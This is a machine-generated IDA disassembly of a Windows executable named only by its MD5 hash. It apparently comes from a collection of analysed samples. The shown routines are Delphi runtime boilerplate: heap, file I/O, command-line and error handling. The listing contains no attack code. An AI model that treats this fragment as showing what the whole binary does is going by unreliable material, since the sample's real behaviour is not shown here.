; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 10C6B9B87B700B187E0ABF826F6357B0 ; File Name : u:\work\10c6b9b87b700b187e0abf826f6357b0_orig.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00007173 ( 29043.) ; Section size in file : 00007200 ( 29184.) ; Offset to raw data for section: 00000400 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute CODE segment para public 'CODE' use32 assume cs:CODE ;org 401000h assume es:nothing, ss:nothing, ds:CODE, fs:nothing, gs:nothing off_401000 dd offset dword_401004 ; DATA XREF: CODE:00403A2Eo ; CODE:00404385o ... dword_401004 dd 7453060Ah, 676E6972h ; DATA XREF: CODE:off_401000o off_40100C dd offset dword_401058 ; DATA XREF: CODE:00403A00o dd 7 dup(0) dd offset dword_401058 dd 4, 0 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_401058 dd 624F5407h, 7463656Ah ; DATA XREF: CODE:off_40100Co ; CODE:0040102Co ; [00000006 BYTES: COLLAPSED FUNCTION GetProcessHeap. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION HeapAlloc. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION HeapReAlloc. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION HeapFree. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION FreeLibrary. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetModuleFileNameA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetModuleHandleA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION LocalAlloc. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION TlsGetValue. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION TlsSetValue. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetCommandLineA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION CloseHandle. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION CreateFileA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetFileType. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetSystemTime. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetFileSize. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetStdHandle. PRESS KEYPAD "+" TO EXPAND] align 4 loc_4010E8: ; DATA XREF: sub_402428o jmp ds:RaiseException ; --------------------------------------------------------------------------- align 10h ; [00000006 BYTES: COLLAPSED FUNCTION ReadFile. PRESS KEYPAD "+" TO EXPAND] align 4 loc_4010F8: ; DATA XREF: sub_402428+Ao jmp ds:RtlUnwind ; --------------------------------------------------------------------------- align 10h ; [00000006 BYTES: COLLAPSED FUNCTION SetEndOfFile. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION SetFilePointer. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION UnhandledExceptionFilter. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION WriteFile. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION CharNextA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION ExitProcess. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION FindClose. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION FindFirstFileA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetLastError. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetLocaleInfoA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetProcAddress. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetThreadLocale. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION LoadLibraryExA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION LoadStringA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION lstrcpynA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION lstrlenA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION RegCloseKey. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION RegOpenKeyExA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION RegQueryValueExA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION WideCharToMultiByte. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION SysFreeString. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetCurrentThreadId. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= sub_4011B0 proc near ; CODE XREF: sub_401200+4p ; sub_401230+3Fp ; DATA XREF: ... push eax ; dwBytes mov eax, ds:dwFlags push eax ; dwFlags mov eax, ds:hHeap push eax ; hHeap call HeapAlloc retn sub_4011B0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4011C4 proc near ; CODE XREF: sub_401218+4p ; sub_401230+26p ; DATA XREF: ... push ebx mov ebx, eax push ebx ; lpMem mov eax, ds:dwFlags and eax, 1 push eax ; dwFlags mov eax, ds:hHeap push eax ; hHeap call HeapFree cmp eax, 1 sbb eax, eax neg eax and eax, 7Fh pop ebx retn sub_4011C4 endp ; =============== S U B R O U T I N E ======================================= sub_4011E8 proc near ; CODE XREF: sub_401230+Dp ; DATA XREF: DATA:off_409050o push edx ; dwBytes push eax ; lpMem mov eax, ds:dwFlags and eax, 0 push eax ; dwFlags mov eax, ds:hHeap push eax ; hHeap call HeapReAlloc retn sub_4011E8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401200 proc near ; CODE XREF: sub_401F08+Ap ; sub_402688+Cp test eax, eax jz short locret_40120E call ds:off_409048 or eax, eax jz short loc_40120F locret_40120E: ; CODE XREF: sub_401200+2j retn ; --------------------------------------------------------------------------- loc_40120F: ; CODE XREF: sub_401200+Cj mov al, 1 jmp loc_4012D8 sub_401200 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401218 proc near ; CODE XREF: sub_401F24+Cp ; sub_4025C8+1Bp ... test eax, eax jz short locret_401226 call ds:off_40904C or eax, eax jnz short loc_401227 locret_401226: ; CODE XREF: sub_401218+2j retn ; --------------------------------------------------------------------------- loc_401227: ; CODE XREF: sub_401218+Cj mov al, 2 jmp loc_4012D8 sub_401218 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401230 proc near ; CODE XREF: sub_402BC0+22p ; FUNCTION CHUNK AT 004012D8 SIZE 0000000B BYTES mov ecx, [eax] test ecx, ecx jz short loc_401268 test edx, edx jz short loc_401252 push eax mov eax, ecx call ds:off_409050 pop ecx or eax, eax jz short loc_401261 mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_40124B: ; CODE XREF: sub_401230+2Ej mov al, 2 jmp loc_4012D8 ; --------------------------------------------------------------------------- loc_401252: ; CODE XREF: sub_401230+8j mov [eax], edx mov eax, ecx call ds:off_40904C or eax, eax jnz short loc_40124B retn ; --------------------------------------------------------------------------- loc_401261: ; CODE XREF: sub_401230+16j ; sub_401230+48j mov al, 1 jmp loc_4012D8 ; --------------------------------------------------------------------------- loc_401268: ; CODE XREF: sub_401230+4j test edx, edx jz short locret_40127C push eax mov eax, edx call ds:off_409048 pop ecx or eax, eax jz short loc_401261 mov [ecx], eax locret_40127C: ; CODE XREF: sub_401230+3Aj retn sub_401230 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_401280 proc near ; CODE XREF: sub_40128C+42p mov ds:dword_409004, edx call sub_4025B0 sub_401280 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40128C proc near ; CODE XREF: sub_401230+AEj push ebx push esi mov esi, edx mov ebx, eax and bl, 7Fh cmp ds:dword_40A008, 0 jz short loc_4012A8 mov edx, esi mov eax, ebx call ds:dword_40A008 loc_4012A8: ; CODE XREF: sub_40128C+10j test bl, bl jnz short loc_4012B9 call sub_4034D8 mov ebx, [eax+4] jmp short loc_4012C8 ; --------------------------------------------------------------------------- loc_4012B9: ; CODE XREF: sub_40128C+1Ej cmp bl, 18h ja short loc_4012C8 xor eax, eax mov al, bl mov bl, ds:byte_409054[eax] loc_4012C8: ; CODE XREF: sub_40128C+2Bj ; sub_40128C+30j xor eax, eax mov al, bl mov edx, esi call sub_401280 sub_40128C endp ; --------------------------------------------------------------------------- pop esi pop ebx retn ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_401230 loc_4012D8: ; CODE XREF: sub_401200+11j ; sub_401218+11j ... and eax, 7Fh mov edx, [esp+0] jmp sub_40128C ; END OF FUNCTION CHUNK FOR sub_401230 ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_4012E4 proc near ; CODE XREF: CODE:00405858p ; CODE:00407ECFp ... push eax push edx push ecx call sub_4034D8 cmp dword ptr [eax+4], 0 pop ecx pop edx pop eax jnz short loc_4012F9 retn ; --------------------------------------------------------------------------- loc_4012F9: ; CODE XREF: sub_4012E4+12j xor eax, eax jmp loc_4012D8 sub_4012E4 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401304 proc near ; CODE XREF: sub_401314+5p ; sub_4017E8+3Cp ... push ebx mov ebx, eax call sub_4034D8 mov [eax+4], ebx pop ebx retn sub_401304 endp ; =============== S U B R O U T I N E ======================================= sub_401314 proc near ; CODE XREF: sub_4019A0+17p call GetLastError call sub_401304 retn sub_401314 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401320 proc near ; CODE XREF: sub_405AA0+7p ; CODE:00407ED4p push ebx call sub_4034D8 mov ebx, [eax+4] call sub_4034D8 xor edx, edx mov [eax+4], edx mov eax, ebx pop ebx retn sub_401320 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401340 proc near ; CODE XREF: sub_401780+4Fp ; sub_401948+14p ... cmp ecx, 4 jge short loc_401361 jcxz locret_40139F cmp eax, edx jz short locret_40139F push esi push edi mov esi, eax mov edi, edx ja short loc_40135D lea esi, [ecx+esi-1] lea edi, [ecx+edi-1] std loc_40135D: ; CODE XREF: sub_401340+12j rep movsb jmp short loc_40138D ; --------------------------------------------------------------------------- loc_401361: ; CODE XREF: sub_401340+3j cmp eax, edx jz short locret_40139F push esi push edi mov esi, eax mov edi, edx mov eax, ecx ja short loc_40138F and ecx, 3 lea esi, [eax+esi-1] lea edi, [eax+edi-1] std rep movsb sar eax, 2 mov ecx, eax mov eax, 3 sub esi, eax sub edi, eax rep movsd loc_40138D: ; CODE XREF: sub_401340+1Fj cld dec ecx loc_40138F: ; CODE XREF: sub_401340+2Dj sar ecx, 2 js short loc_40139D rep movsd and eax, 3 mov ecx, eax rep movsb loc_40139D: ; CODE XREF: sub_401340+52j pop edi pop esi locret_40139F: ; CODE XREF: sub_401340+5j ; sub_401340+Aj ... retn sub_401340 endp ; =============== S U B R O U T I N E ======================================= sub_4013A0 proc near ; CODE XREF: sub_40148C+41p push ebx push esi push edi push ebp mov esi, edx mov ebx, eax jmp short loc_4013B2 ; --------------------------------------------------------------------------- loc_4013AA: ; CODE XREF: sub_4013A0+1Aj push ebx ; lpsz call CharNextA mov ebx, eax loc_4013B2: ; CODE XREF: sub_4013A0+8j ; sub_4013A0+2Aj mov al, [ebx] test al, al jz short loc_4013BC cmp al, 20h jbe short loc_4013AA loc_4013BC: ; CODE XREF: sub_4013A0+16j cmp byte ptr [ebx], 22h jnz short loc_4013CC cmp byte ptr [ebx+1], 22h jnz short loc_4013CC add ebx, 2 jmp short loc_4013B2 ; --------------------------------------------------------------------------- loc_4013CC: ; CODE XREF: sub_4013A0+1Fj ; sub_4013A0+25j xor ebp, ebp mov edi, ebx jmp short loc_401415 ; --------------------------------------------------------------------------- loc_4013D2: ; CODE XREF: sub_4013A0+79j cmp al, 22h jnz short loc_401407 push ebx ; lpsz call CharNextA mov ebx, eax jmp short loc_4013EE ; --------------------------------------------------------------------------- loc_4013E0: ; CODE XREF: sub_4013A0+56j push ebx ; lpsz call CharNextA mov edx, eax sub edx, ebx add ebp, edx mov ebx, eax loc_4013EE: ; CODE XREF: sub_4013A0+3Ej mov al, [ebx] test al, al jz short loc_4013F8 cmp al, 22h jnz short loc_4013E0 loc_4013F8: ; CODE XREF: sub_4013A0+52j cmp byte ptr [ebx], 0 jz short loc_401415 push ebx ; lpsz call CharNextA mov ebx, eax jmp short loc_401415 ; --------------------------------------------------------------------------- loc_401407: ; CODE XREF: sub_4013A0+34j push ebx ; lpsz call CharNextA mov edx, eax sub edx, ebx add ebp, edx mov ebx, eax loc_401415: ; CODE XREF: sub_4013A0+30j ; sub_4013A0+5Bj ... mov al, [ebx] cmp al, 20h ja short loc_4013D2 mov eax, esi mov edx, ebp call sub_402BC0 mov ebx, edi mov edi, [esi] xor esi, esi jmp short loc_40147D ; --------------------------------------------------------------------------- loc_40142C: ; CODE XREF: sub_4013A0+E1j cmp al, 22h jnz short loc_401468 push ebx ; lpsz call CharNextA mov ebx, eax jmp short loc_40144F ; --------------------------------------------------------------------------- loc_40143A: ; CODE XREF: sub_4013A0+B7j push ebx ; lpsz call CharNextA cmp eax, ebx jbe short loc_40144F loc_401444: ; CODE XREF: sub_4013A0+ADj mov dl, [ebx] mov [edi+esi], dl inc ebx inc esi cmp eax, ebx ja short loc_401444 loc_40144F: ; CODE XREF: sub_4013A0+98j ; sub_4013A0+A2j mov al, [ebx] test al, al jz short loc_401459 cmp al, 22h jnz short loc_40143A loc_401459: ; CODE XREF: sub_4013A0+B3j cmp byte ptr [ebx], 0 jz short loc_40147D push ebx ; lpsz call CharNextA mov ebx, eax jmp short loc_40147D ; --------------------------------------------------------------------------- loc_401468: ; CODE XREF: sub_4013A0+8Ej push ebx ; lpsz call CharNextA cmp eax, ebx jbe short loc_40147D loc_401472: ; CODE XREF: sub_4013A0+DBj mov dl, [ebx] mov [edi+esi], dl inc ebx inc esi cmp eax, ebx ja short loc_401472 loc_40147D: ; CODE XREF: sub_4013A0+8Aj ; sub_4013A0+BCj ... mov al, [ebx] cmp al, 20h ja short loc_40142C mov eax, ebx pop ebp pop edi pop esi pop ebx retn sub_4013A0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40148C proc near ; CODE XREF: CODE:00407F68p Filename = byte ptr -114h push ebx push esi push edi add esp, 0FFFFFEF8h mov ebx, edx mov esi, eax mov eax, ebx call sub_4025C8 test esi, esi jnz short loc_4014C2 push 105h ; nSize lea eax, [esp+118h+Filename] push eax ; lpFilename push 0 ; hModule call GetModuleFileNameA mov ecx, eax mov edx, esp mov eax, ebx call sub_4026B4 jmp short loc_4014E0 ; --------------------------------------------------------------------------- loc_4014C2: ; CODE XREF: sub_40148C+16j call GetCommandLineA mov edi, eax loc_4014C9: ; CODE XREF: sub_40148C+52j mov edx, ebx mov eax, edi call sub_4013A0 mov edi, eax test esi, esi jz short loc_4014E0 cmp dword ptr [ebx], 0 jz short loc_4014E0 dec esi jmp short loc_4014C9 ; --------------------------------------------------------------------------- loc_4014E0: ; CODE XREF: sub_40148C+34j ; sub_40148C+4Aj ... add esp, 108h pop edi pop esi pop ebx retn sub_40148C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4014EC proc near ; CODE XREF: CODE:loc_407E76p SystemTime = _SYSTEMTIME ptr -18h push ebp mov ebp, esp add esp, 0FFFFFFE8h lea eax, [ebp+SystemTime] push eax ; lpSystemTime call GetSystemTime movzx eax, [ebp+SystemTime.wHour] imul eax, 3Ch add ax, [ebp+SystemTime.wMinute] imul eax, 3Ch xor edx, edx mov dx, [ebp+SystemTime.wSecond] add eax, edx imul eax, 3E8h mov dx, [ebp+SystemTime.wMilliseconds] add eax, edx mov ds:dword_409008, eax mov esp, ebp pop ebp retn sub_4014EC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401528 proc near ; DATA XREF: CODE:00401604o push ebx mov ebx, eax xor eax, eax mov [ebx+10h], eax xor eax, eax mov [ebx+0Ch], eax push 0 ; lpOverlapped lea eax, [ebx+10h] push eax ; lpNumberOfBytesRead mov eax, [ebx+8] push eax ; nNumberOfBytesToRead mov eax, [ebx+14h] push eax ; lpBuffer mov eax, [ebx] push eax ; hFile call ReadFile test eax, eax jnz short loc_40155D call GetLastError cmp eax, 6Dh jnz short loc_40155F xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_40155D: ; CODE XREF: sub_401528+25j xor eax, eax loc_40155F: ; CODE XREF: sub_401528+2Fj pop ebx retn sub_401528 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401564 proc near ; DATA XREF: CODE:0040163Bo ; CODE:0040170Bo ... xor eax, eax retn sub_401564 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401568 proc near ; DATA XREF: CODE:loc_40162Do ; CODE:00401753o NumberOfBytesWritten= dword ptr -0Ch push ebx push esi push ecx mov ebx, eax mov esi, [ebx+0Ch] test esi, esi jnz short loc_401578 xor eax, eax jmp short loc_40159E ; --------------------------------------------------------------------------- loc_401578: ; CODE XREF: sub_401568+Aj push 0 ; lpOverlapped lea eax, [esp+10h+NumberOfBytesWritten] push eax ; lpNumberOfBytesWritten push esi ; nNumberOfBytesToWrite mov eax, [ebx+14h] push eax ; lpBuffer mov eax, [ebx] push eax ; hFile call WriteFile test eax, eax jnz short loc_401597 call GetLastError jmp short loc_401599 ; --------------------------------------------------------------------------- loc_401597: ; CODE XREF: sub_401568+26j xor eax, eax loc_401599: ; CODE XREF: sub_401568+2Dj xor edx, edx mov [ebx+0Ch], edx loc_40159E: ; CODE XREF: sub_401568+Ej pop edx pop esi pop ebx retn sub_401568 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4015A4 proc near ; CODE XREF: sub_4015B4+Bp ; sub_4019A0+Ep push ebx mov ebx, eax push ebx ; hObject call CloseHandle dec eax setz al pop ebx retn sub_4015A4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4015B4 proc near ; DATA XREF: CODE:loc_401634o push ebx mov ebx, eax mov word ptr [ebx+4], 0D7B0h mov eax, [ebx] call sub_4015A4 test al, al jnz short loc_4015CF call GetLastError pop ebx retn ; --------------------------------------------------------------------------- loc_4015CF: ; CODE XREF: sub_4015B4+12j xor eax, eax pop ebx retn sub_4015B4 endp ; --------------------------------------------------------------------------- align 4 loc_4015D4: ; DATA XREF: sub_401780+35o push esi mov esi, eax xor eax, eax mov [esi+0Ch], eax mov [esi+10h], eax mov ax, [esi+4] sub eax, 0D7B1h jz short loc_4015F5 dec eax jz short loc_40160D dec eax jz short loc_40161E jmp loc_40175C ; --------------------------------------------------------------------------- loc_4015F5: ; CODE XREF: CODE:004015E8j mov eax, 80000000h mov edx, 1 mov ecx, 3 mov dword ptr [esi+1Ch], offset sub_401528 jmp short loc_401634 ; --------------------------------------------------------------------------- loc_40160D: ; CODE XREF: CODE:004015EBj mov eax, 40000000h mov edx, 1 mov ecx, 2 jmp short loc_40162D ; --------------------------------------------------------------------------- loc_40161E: ; CODE XREF: CODE:004015EEj mov eax, 0C0000000h mov edx, 1 mov ecx, 3 loc_40162D: ; CODE XREF: CODE:0040161Cj mov dword ptr [esi+1Ch], offset sub_401568 loc_401634: ; CODE XREF: CODE:0040160Bj mov dword ptr [esi+24h], offset sub_4015B4 mov dword ptr [esi+20h], offset sub_401564 cmp byte ptr [esi+48h], 0 jz loc_4016FE push 0 push 80h push ecx push 0 push edx push eax lea eax, [esi+48h] push eax call CreateFileA cmp eax, 0FFFFFFFFh jz loc_401772 mov [esi], eax cmp word ptr [esi+4], 0D7B3h jnz loc_40173B dec word ptr [esi+4] push 0 push dword ptr [esi] call GetFileSize inc eax jz loc_401772 sub eax, 81h jnb short loc_401695 xor eax, eax loc_401695: ; CODE XREF: CODE:00401691j push 0 push 0 push eax push dword ptr [esi] call SetFilePointer inc eax jz loc_401772 push 0 mov edx, esp push 0 push edx push 80h lea edx, [esi+14Ch] push edx push dword ptr [esi] call ReadFile pop edx dec eax jnz loc_401772 xor eax, eax loc_4016CC: ; CODE XREF: CODE:004016DBj cmp eax, edx jnb short loc_40173B cmp byte ptr [esi+eax+14Ch], 0Eh jz short loc_4016DD inc eax jmp short loc_4016CC ; --------------------------------------------------------------------------- loc_4016DD: ; CODE XREF: CODE:004016D8j push 2 push 0 sub eax, edx push eax push dword ptr [esi] call SetFilePointer inc eax jz loc_401772 push dword ptr [esi] call SetEndOfFile dec eax jnz short loc_401772 jmp short loc_40173B ; --------------------------------------------------------------------------- loc_4016FE: ; CODE XREF: CODE:00401646j lea eax, [esi+14Ch] mov dword ptr [esi+8], 80h mov dword ptr [esi+24h], offset sub_401564 mov [esi+14h], eax cmp word ptr [esi+4], 0D7B2h jz short loc_401721 push 0FFFFFFF6h jmp short loc_40172F ; --------------------------------------------------------------------------- loc_401721: ; CODE XREF: CODE:0040171Bj cmp esi, offset dword_40A3D8 jnz short loc_40172D push 0FFFFFFF4h jmp short loc_40172F ; --------------------------------------------------------------------------- loc_40172D: ; CODE XREF: CODE:00401727j push 0FFFFFFF5h loc_40172F: ; CODE XREF: CODE:0040171Fj ; CODE:0040172Bj call GetStdHandle cmp eax, 0FFFFFFFFh jz short loc_401772 mov [esi], eax loc_40173B: ; CODE XREF: CODE:00401672j ; CODE:004016CEj ... cmp word ptr [esi+4], 0D7B1h jz short loc_40175A push dword ptr [esi] call GetFileType test eax, eax jz short loc_40175E cmp eax, 2 jnz short loc_40175A mov dword ptr [esi+20h], offset sub_401568 loc_40175A: ; CODE XREF: CODE:00401741j ; CODE:00401751j xor eax, eax loc_40175C: ; CODE XREF: CODE:004015F0j ; CODE:00401770j ... pop esi retn ; --------------------------------------------------------------------------- loc_40175E: ; CODE XREF: CODE:0040174Cj push dword ptr [esi] call CloseHandle mov word ptr [esi+4], 0D7B0h mov eax, 69h jmp short loc_40175C ; --------------------------------------------------------------------------- loc_401772: ; CODE XREF: CODE:00401664j ; CODE:00401686j ... mov word ptr [esi+4], 0D7B0h call GetLastError jmp short loc_40175C ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_401780 proc near ; CODE XREF: CODE:00407EBBp push ebx push esi mov esi, edx mov ebx, eax mov eax, ebx xor ecx, ecx mov edx, 14Ch call sub_401964 lea eax, [ebx+14Ch] mov [ebx+14h], eax mov word ptr [ebx+4], 0D7B0h xor eax, eax mov al, ds:byte_40901C mov [ebx+6], ax mov dword ptr [ebx+8], 80h mov dword ptr [ebx+18h], offset loc_4015D4 mov eax, esi call sub_402840 push eax mov eax, esi call sub_402A38 lea edx, [ebx+48h] pop ecx call sub_401340 mov eax, esi call sub_402840 mov byte ptr [ebx+eax+48h], 0 xor eax, eax pop esi pop ebx retn sub_401780 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4017E8 proc near ; CODE XREF: sub_401830+3p push ebx mov cx, [eax+4] sub cx, 0D7B1h jz short loc_401803 dec ecx sub cx, 2 jnb short loc_401807 mov ebx, edx call ebx mov ebx, eax jmp short loc_40181E ; --------------------------------------------------------------------------- loc_401803: ; CODE XREF: sub_4017E8+Aj xor ebx, ebx jmp short loc_40181E ; --------------------------------------------------------------------------- loc_401807: ; CODE XREF: sub_4017E8+11j cmp eax, offset dword_40A20C jz short loc_401815 cmp eax, offset dword_40A3D8 jnz short loc_401819 loc_401815: ; CODE XREF: sub_4017E8+24j xor ebx, ebx jmp short loc_40181E ; --------------------------------------------------------------------------- loc_401819: ; CODE XREF: sub_4017E8+2Bj mov ebx, 67h loc_40181E: ; CODE XREF: sub_4017E8+19j ; sub_4017E8+1Dj ... test ebx, ebx jz short loc_401829 mov eax, ebx call sub_401304 loc_401829: ; CODE XREF: sub_4017E8+38j mov eax, ebx pop ebx retn sub_4017E8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401830 proc near ; CODE XREF: CODE:00405853p mov edx, [eax+1Ch] call sub_4017E8 retn sub_401830 endp ; --------------------------------------------------------------------------- align 4 loc_40183C: ; DATA XREF: sub_4018D0+Do jmp ds:__imp_WriteFile ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401844 proc near ; CODE XREF: sub_4018D0+14p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov esi, ecx mov edi, edx mov ebx, eax mov eax, [ebp+arg_8] movzx edx, word ptr [ebx+4] and edx, eax cmp eax, edx jnz short loc_4018B6 push 0 lea eax, [ebp+var_4] push eax mov eax, [ebx+8] imul esi push eax push edi mov eax, [ebx] push eax call [ebp+arg_4] test eax, eax jnz short loc_401886 call GetLastError call sub_401304 xor eax, eax mov [ebp+var_4], eax jmp short loc_4018C5 ; --------------------------------------------------------------------------- loc_401886: ; CODE XREF: sub_401844+2Fj mov eax, [ebp+var_4] xor edx, edx div dword ptr [ebx+8] mov [ebp+var_4], eax mov eax, [ebp+arg_C] test eax, eax jz short loc_4018A2 mov eax, [ebp+arg_C] mov edx, [ebp+var_4] mov [eax], edx jmp short loc_4018C5 ; --------------------------------------------------------------------------- loc_4018A2: ; CODE XREF: sub_401844+52j cmp esi, [ebp+var_4] jz short loc_4018C5 mov eax, [ebp+arg_0] call sub_401304 xor eax, eax mov [ebp+var_4], eax jmp short loc_4018C5 ; --------------------------------------------------------------------------- loc_4018B6: ; CODE XREF: sub_401844+18j mov eax, 67h call sub_401304 xor eax, eax mov [ebp+var_4], eax loc_4018C5: ; CODE XREF: sub_401844+40j ; sub_401844+5Cj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx pop ecx pop ebp retn 10h sub_401844 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018D0 proc near ; CODE XREF: CODE:00407EFAp arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] push ebx push 0D7B2h push offset loc_40183C push 65h call sub_401844 pop ebx pop ebp retn 4 sub_4018D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4018F0 proc near ; CODE XREF: CODE:00407F09p push ebx push esi mov ebx, eax xor esi, esi mov ax, [ebx+4] cmp ax, 0D7B1h jb short loc_40192F cmp ax, 0D7B3h ja short loc_40192F and ax, 0D7B2h cmp ax, 0D7B2h jnz short loc_401917 mov eax, ebx call dword ptr [ebx+1Ch] mov esi, eax loc_401917: ; CODE XREF: sub_4018F0+1Ej test esi, esi jnz short loc_401922 mov eax, ebx call dword ptr [ebx+24h] mov esi, eax loc_401922: ; CODE XREF: sub_4018F0+29j test esi, esi jz short loc_401941 mov eax, esi call sub_401304 jmp short loc_401941 ; --------------------------------------------------------------------------- loc_40192F: ; CODE XREF: sub_4018F0+Ej ; sub_4018F0+14j cmp ebx, offset dword_40A040 jz short loc_401941 mov eax, 67h call sub_401304 loc_401941: ; CODE XREF: sub_4018F0+34j ; sub_4018F0+3Dj ... mov eax, esi pop esi pop ebx retn sub_4018F0 endp ; --------------------------------------------------------------------------- align 4 ; 